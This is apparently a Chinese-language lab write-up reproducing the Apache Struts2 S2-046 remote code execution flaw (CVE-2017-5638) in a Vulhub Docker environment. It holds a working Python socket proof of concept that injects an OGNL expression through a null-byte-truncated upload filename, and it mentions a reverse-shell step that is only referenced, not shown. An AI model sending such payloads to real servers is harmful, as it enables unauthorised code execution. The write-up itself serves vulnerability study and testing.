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64 lines
1.8 KiB
Markdown
64 lines
1.8 KiB
Markdown
# Apache Struts2 S2-046 远程代码执行漏洞 CVE-2017-5638
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## 漏洞描述
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漏洞详情:
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- https://cwiki.apache.org/confluence/display/WW/S2-046
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- https://xz.aliyun.com/t/221
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## 漏洞影响
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影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
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## 环境搭建
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Vulhub 执行以下命令启动 s2-046 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080` 即可看到上传页面。
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## 漏洞复现
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与 s2-045 类似，但是输入点在文件上传的 filename 值位置，并需要使用 `\x00` 截断。
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由于需要发送畸形数据包，我们简单使用原生 socket 编写 payload：
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```python
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import socket
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q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
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Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
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Content-Type: text/plain
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foo
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------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
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p = b'''POST / HTTP/1.1
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Host: localhost:8080
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.8,es;q=0.6
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
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Content-Length: %d
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'''.replace(b'\n', b'\r\n') % (len(q), )
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with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
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conn.send(p + q)
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print(conn.recv(10240).decode())
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```
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`233*233` 已成功执行：
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### 反弹 shell
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详情参考《Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638》中的漏洞 EXP。
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